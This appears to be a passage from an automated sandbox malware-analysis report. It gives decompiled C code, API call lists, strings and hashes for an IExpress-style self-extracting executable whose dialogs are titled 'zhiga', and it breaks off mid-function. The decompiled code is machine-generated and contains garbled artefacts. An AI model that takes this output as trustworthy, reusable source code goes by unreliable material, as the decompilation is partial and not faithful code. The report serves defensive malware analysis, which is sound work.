Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F82F64,?,00000002,00000000), ref: 00F83A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00F83AB3

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00F83AD0
LocalFree.KERNEL32 ref: 00F83B13

Part of subcall function 00F86517: FindResourceA.KERNEL32(00F80000,000007D6,00000005), ref: 00F8652A
Part of subcall function 00F86517: LoadResource.KERNEL32(00F80000,00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F86538
Part of subcall function 00F86517: DialogBoxIndirectParamA.USER32(00F80000,00000000,00000547,00F819E0,00000000), ref: 00F86557
Part of subcall function 00F86517: FreeResource.KERNEL32(00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F86560

LocalFree.KERNEL32(00000000,00F83100,00000000,00000000), ref: 00F83AF4

Strings

LICENSE, xrefs: 00F83A46
<None>, xrefs: 00F83AC5

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 406b4e378b7158b032ef692b86b51c349143a542b2ab3f86b1b221eb43cd2b28
Instruction ID: 6a8943fccb5941db224efa4346a7741be0122548405fb68394f72c7b7cbc4e2e
Opcode Fuzzy Hash: 406b4e378b7158b032ef692b86b51c349143a542b2ab3f86b1b221eb43cd2b28
Instruction Fuzzy Hash: 2611D672704205ABD724BF729C0DFF779B9EBD5B50B10412EB541DA1B1EABD9802B720

Uniqueness

Uniqueness Score: -1.00%

Function 00F824E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F824E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E00F8658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00F86CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x00f824e0
0x00f824eb
0x00f824f2
0x00f824f7
0x00f82504
0x00f8250e
0x00f8251d
0x00f8252c
0x00f82541
0x00f82546
0x00f82553
0x00f82555
0x00f82555
0x00f82546
0x00f8256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00F82506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 00F8252C
_lopen.KERNEL32(?,00000040), ref: 00F8253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 00F8254C
_lclose.KERNEL32(00000000), ref: 00F82555

Strings

wininit.ini, xrefs: 00F82510

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: dc81203c369446bbc4cd6c1a2683949f007b9022488b1e5f08c39ce59561e621
Instruction ID: 332e8665e8469580608c41832836f5eab2903e12a3eb633747f354da73c673ee
Opcode Fuzzy Hash: dc81203c369446bbc4cd6c1a2683949f007b9022488b1e5f08c39ce59561e621
Instruction Fuzzy Hash: 7E01B532A0011867D720AB65DC0CEEF7B7CEB45760F040155FA49D7190DE749E46DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F836EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F836EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0xf88184 = 1;
						 *0xf88180 = 1;
						L13:
						 *0xf89a40 = _t119;
						L14:
						__eflags =  *0xf88a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00F82A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00F82A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0xf88a38 & 0x00000001;
											if(( *0xf88a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("zhiga");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E00F8681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "zhiga", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E00F867C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E00F828E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0xf89a40 = _t119;
						 *0xf88184 = 1;
						 *0xf88180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0xf89a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0xf88184 = _t135;
							 *0xf88180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E00F844B9(0, _t138);
					L66:
					return E00F86CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x00f836f9
0x00f83700
0x00f8370c
0x00f83716
0x00f83718
0x00f8371b
0x00f83721
0x00f8372b
0x00f8373d
0x00f83745
0x00f83746
0x00f83746
0x00f83749
0x00f837ab
0x00f837ad
0x00f837ae
0x00f837b3
0x00f837b8
0x00f837b8
0x00f837bf
0x00f837bf
0x00f837c5
0x00000000
0x00000000
0x00f837cb
0x00f837cd
0x00000000
0x00000000
0x00f837d5
0x00f837db
0x00f837e8
0x00f837ea
0x00f837ea
0x00f837ea
0x00f837f0
0x00f837f6
0x00f83805
0x00f83817
0x00f8382b
0x00f83830
0x00f83836
0x00f8383b
0x00f8383d
0x00f838eb
0x00f838eb
0x00f838f2
0x00f8390c
0x00f83911
0x00f83911
0x00f83913
0x00f8394d
0x00f8394d
0x00f8394f
0x00f838a9
0x00f838a9
0x00f838b0
0x00f838b2
0x00f838b9
0x00f838bb
0x00f838c1
0x00f83975
0x00f838c7
0x00f838de
0x00f838e0
0x00f838e0
0x00f8397b
0x00f8397d
0x00f839a9
0x00f8397f
0x00f83982
0x00f8398b
0x00f8398d
0x00f8398f
0x00f8399f
0x00f839a1
0x00f83991
0x00f83991
0x00f83991
0x00f8398f
0x00f839af
0x00f839b6
0x00f83a0f
0x00f83a0f
0x00f83a11
0x00f83a13
0x00f83a19
0x00000000
0x00f839b8
0x00f839b8
0x00f839ba
0x00000000
0x00000000
0x00f839bc
0x00f839bf
0x00000000
0x00000000
0x00f839c3
0x00f839c9
0x00f839ce
0x00f839d0
0x00f839e3
0x00f839e5
0x00f839e6
0x00f839f1
0x00f839f7
0x00f839fa
0x00f83a01
0x00f83a04
0x00000000
0x00000000
0x00f83a06
0x00f83a09
0x00f83a09
0x00f83a0b
0x00f83a0b
0x00000000
0x00f83a09
0x00f839fc
0x00000000
0x00f839fc
0x00f839d3
0x00f839d8
0x00f839da
0x00000000
0x00000000
0x00000000
0x00f839dc
0x00f839b6
0x00f83955
0x00f8395b
0x00000000
0x00000000
0x00f83961
0x00f83963
0x00000000
0x00000000
0x00f83969
0x00f83969
0x00000000
0x00f83969
0x00f83915
0x00f83915
0x00f8391b
0x00f8391f
0x00000000
0x00000000
0x00f8392d
0x00f83933
0x00f83938
0x00f8393a
0x00000000
0x00000000
0x00f83940
0x00f83946
0x00f8394b
0x00000000
0x00f8394b
0x00000000
0x00f838f2
0x00f83843
0x00f83845
0x00000000
0x00000000
0x00f8384b
0x00f8384d
0x00f83883
0x00f83885
0x00000000
0x00000000
0x00f8389a
0x00f8389e
0x00f8389e
0x00000000
0x00000000
0x00f838a0
0x00f838a0
0x00f838a2
0x00000000
0x00000000
0x00f838a4
0x00000000
0x00f838a4
0x00f8384f
0x00f83851
0x00f83857
0x00f8386e
0x00f83877
0x00f8387b
0x00000000
0x00000000
0x00000000
0x00f83881
0x00f83859
0x00f8385c
0x00f83862
0x00f83866
0x00000000
0x00000000
0x00f83868
0x00000000
0x00f838f4
0x00f838f4
0x00f838f5
0x00f838fb
0x00f83901
0x00f83901
0x00000000
0x00f8390a
0x00f8374b
0x00f8374e
0x00f8375c
0x00f83764
0x00f83769
0x00f8376e
0x00f83771
0x00f8379c
0x00f8379f
0x00000000
0x00000000
0x00f837a3
0x00f837a4
0x00000000
0x00f837a4
0x00f83773
0x00f83777
0x00f83778
0x00f8377f
0x00f83781
0x00f8378e
0x00f8378e
0x00f83794
0x00000000
0x00f83794
0x00f83783
0x00000000
0x00000000
0x00f83785
0x00f8378c
0x00000000
0x00000000
0x00000000
0x00f8378c
0x00f83750
0x00000000
0x00f8372d
0x00f8372d
0x00f8396b
0x00f8396b
0x00f8396c
0x00f8396e
0x00f8396f
0x00f83a1e
0x00f83a1e
0x00f83a22
0x00f83a27
0x00f83a3e
0x00f83a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00F83723
MessageBeep.USER32(00000000), ref: 00F839C3
MessageBoxA.USER32(00000000,00000000,zhiga,00000030), ref: 00F839F1

Strings

3, xrefs: 00F83785
zhiga, xrefs: 00F839E9, 00F83A19

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$zhiga
API String ID: 2519184315-2183486482
Opcode ID: bc4ea0b4fdbae60a60ef70d81da975e87d2377fba5bf0ec79ae39892cb604d23
Instruction ID: a84a42f266a296e942f95631901a245c3bf68cd370f64b860fa3b22ee86448d4
Opcode Fuzzy Hash: bc4ea0b4fdbae60a60ef70d81da975e87d2377fba5bf0ec79ae39892cb604d23
Instruction Fuzzy Hash: 8991E472F052249BDB38AA14CC817FA77A1EB45B14F1500A9D88997261DB788F81FB41

Uniqueness

Uniqueness Score: -1.00%

Function 00F86495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00F86495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00F81781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
				_t26 = "advpack.dll";
				E00F8658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00F86CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00f86495
0x00f86495
0x00f864a0
0x00f864a7
0x00f864ab
0x00f864bd
0x00f864c2
0x00f864d3
0x00f864df
0x00f864e8
0x00f86502
0x00f864ee
0x00f864f9
0x00f864f9
0x00f86516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F864DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F864F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F86502

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F864AC
advpack.dll, xrefs: 00F864C2, 00F864CD, 00F86501

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-3290281839
Opcode ID: 25f828de1793c4fe06fdd23dd05d91fd67ad02a61b0d95d9e8ad72aad51b85ed
Instruction ID: 422cb36fd2efdf1091799ef5b672aea7aa096302c1fd9b6d11b27a741f173b45
Opcode Fuzzy Hash: 25f828de1793c4fe06fdd23dd05d91fd67ad02a61b0d95d9e8ad72aad51b85ed
Instruction Fuzzy Hash: 5E01D130A04108ABEB10FB64DC49AFE7778EB50310F50029AF585D61C0DFB4AE8AAB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F828E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F828E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00F82773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00F82A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00F82A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x00f828f1
0x00f828f4
0x00f828f7
0x00f828f9
0x00f828fc
0x00f828ff
0x00f82901
0x00f82907
0x00f82a62
0x00f82a64
0x00f8290d
0x00f8290d
0x00f8290f
0x00f82912
0x00f82920
0x00f82937
0x00000000
0x00000000
0x00f82944
0x00f8294a
0x00f8294f
0x00f82a2f
0x00f82a32
0x00f82a34
0x00f82a37
0x00f82a41
0x00000000
0x00000000
0x00f82955
0x00f8295e
0x00f82962
0x00f82969
0x00f8296f
0x00f82974
0x00f8298c
0x00f82a20
0x00f82a21
0x00f82a27
0x00f82a4c
0x00f82a4f
0x00f82a50
0x00f82a53
0x00f82a56
0x00f82a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00f829b2
0x00f829b2
0x00f829b5
0x00f829bd
0x00f829c3
0x00f829cc
0x00f829d5
0x00f829d7
0x00f829da
0x00f829dd
0x00f829df
0x00f829ec
0x00f829f8
0x00f829fc
0x00f829ff
0x00f82a02
0x00f82a07
0x00f82a0a
0x00f82a0f
0x00f82a19
0x00f82a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82a0f
0x00f8298c
0x00f82974
0x00f82962
0x00000000
0x00f8294f
0x00f82912
0x00f82a65
0x00f82a68
0x00f82a6c
0x00f82a6f
0x00f82a6f
0x00f82a7d

APIs

GlobalFree.KERNEL32 ref: 00F82A6F

Part of subcall function 00F82773: CharUpperA.USER32(7E92E7A6,00000000,00000000,00000000), ref: 00F827A8
Part of subcall function 00F82773: CharNextA.USER32(0000054D), ref: 00F827B5
Part of subcall function 00F82773: CharNextA.USER32(00000000), ref: 00F827BC
Part of subcall function 00F82773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82829
Part of subcall function 00F82773: RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82852
Part of subcall function 00F82773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82870
Part of subcall function 00F82773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F828A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00F83938,?,?,?,?,-00000005), ref: 00F82958
GlobalLock.KERNEL32 ref: 00F82969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00F83938,?,?,?,?,-00000005,?), ref: 00F82A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00F82A81

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: f2d24d31c5c12a47ea6015d1efa44e206089a8454ff481bc2c70d49a05e9aca9
Instruction ID: 7199bdf0d8b76b11d604cbb09567959cc1db4374a21e72e45db5e0f3d68654ca
Opcode Fuzzy Hash: f2d24d31c5c12a47ea6015d1efa44e206089a8454ff481bc2c70d49a05e9aca9
Instruction Fuzzy Hash: 83511731E00219DBDB65EF98C884AEEFBB5FF48710F14416AE905E3211DB39A941EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F84169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00F84169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E00F8468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
